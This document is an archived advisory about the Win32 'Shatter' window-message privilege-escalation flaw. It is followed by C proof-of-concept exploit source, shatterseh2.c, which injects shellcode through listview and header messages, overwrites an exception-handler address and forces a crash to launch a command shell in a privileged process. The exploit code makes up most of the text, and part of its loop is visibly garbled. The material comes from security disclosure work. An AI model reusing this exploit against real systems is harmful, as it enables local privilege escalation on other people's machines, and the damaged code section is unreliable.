// source: https://www.securityfocus.com/bid/5408/info A serious design error in the Win32 API has been reported. The issue is related to the inter-window message passing system. This vulnerability is wide-ranging and likely affects almost every Win32 window-based application. Attackers with local access may exploit this vulnerability to elevate privileges if a window belonging to another process with higher privileges is present. One example of such a process is antivirus software, which often must run with LocalSystem privileges. ** Microsoft has released a statement regarding this issue. Please see the References section for details. A paper, entitled "Win32 Message Vulnerabilities Redux" has been published by iDEFENSE that describes another Windows message that may be abused in a similar manner to WM_TIMER. Microsoft has not released patches to address problems with this message. There are likely other messages which can be exploited in the same manner. Another proof-of-concept has been released by Brett Moore in a paper entitled "Shattering SEH III". This paper demonstrates how Shatter attacks may be used against applications which make use of progress bar controls. Brett Moore has released a paper entitled "Shattering By Example" which summarizes previous Shatter attacks, discusses new techniques and also provides an exploit which abuses Windows statusbars using WM_SETTEXT, SB_SETTEXT, SB_GETTEXTLENGTH, SB_SETPARTS and SB_GETPARTS messages. Please see the attached reference to the paper for more details. /********************************************************** * shatterseh2.c * * Demonstrates the use of listview messages to; * - inject shellcode to known location * - overwrite 4 bytes of a critical memory address * * 3 Variables need to be set for proper execution. * - tWindow is the title of the programs main window * - sehHandler is the critical address to overwrite * - shellcodeaddr is the data space to inject the code * The 'autofind' feature may not work against all programs. * Insert your own blank lines for readability * Try it out against any program with a listview. * eg: explorer, IE, any file open dialog * Brett Moore [ brett.moore@security-assessment.com ] * www.security-assessment.com **********************************************************/ #include #include // Local Cmd Shellcode BYTE exploit[] = "\x90\x68\x63\x6d\x64\x00\x54\xb9\xc3\xaf\x01\x78\xff\xd1\xcc"; long hLVControl,hHdrControl; char tWindow[]="Main Window Title";// The name of the main window long sehHandler = 0x77edXXXX; // Critical Address To Overwrite long shellcodeaddr = 0x0045e000; // Known Writeable Space Or Global Space void doWrite(long tByte,long address); void IterateWindows(long hWnd); int main(int argc, char *argv[]) { long hWnd; HMODULE hMod; DWORD ProcAddr; printf("%% Playing with listview messages\n"); printf("%% brett.moore@security-assessment.com\n\n"); // Find local procedure address hMod = LoadLibrary("msvcrt.dll"); ProcAddr = (DWORD)GetProcAddress(hMod, "system"); if(ProcAddr != 0) // And put it in our shellcode *(long *)&exploit[8] = ProcAddr; printf("+ Finding %s Window...\n",tWindow); hWnd = FindWindow(NULL,tWindow); if(hWnd == NULL) { printf("+ Couldn't Find %s Window\n",tWindow); return 0; } printf("+ Found Main Window At...0x%xh\n",hWnd); IterateWindows(hWnd); printf("+ Not Done...\n"); return 0; } void doWrite(long tByte,long address) { SendMessage((HWND) hLVControl,(UINT) LVM_SETCOLUMNWIDTH, 0,MAKELPARAM(tByte, 0)); SendMessage((HWND) hHdrControl,(UINT) HDM_GETITEMRECT,1,address); } void IterateWindows(long hWnd) { long childhWnd,looper; childhWnd = GetNextWindow(hWnd,GW_CHILD); while (childhWnd != NULL) { IterateWindows(childhWnd); childhWnd = GetNextWindow(childhWnd ,GW_HWNDNEXT); } hLVControl = hWnd; hHdrControl = SendMessage((HWND) hLVControl,(UINT) LVM_GETHEADER, 0,0); if(hHdrControl != NULL) { // Found a Listview Window with a Header printf("+ Found listview window..0x%xh\n",hLVControl); printf("+ Found lvheader window..0x%xh\n",hHdrControl); // Inject shellcode to known address printf("+ Sending shellcode to...0x%xh\n",shellcodeaddr); for (looper=0;looper> 8) & 0xff),sehHandler+1); doWrite(((shellcodeaddr >> 16) & 0xff),sehHandler+2); doWrite(((shellcodeaddr >> 24) & 0xff),sehHandler+3); // Cause exception printf("+ Forcing Unhandled Exception\n"); SendMessage((HWND) hHdrControl,(UINT) HDM_GETITEMRECT,0,1); printf("+ Done...\n"); exit(0); } }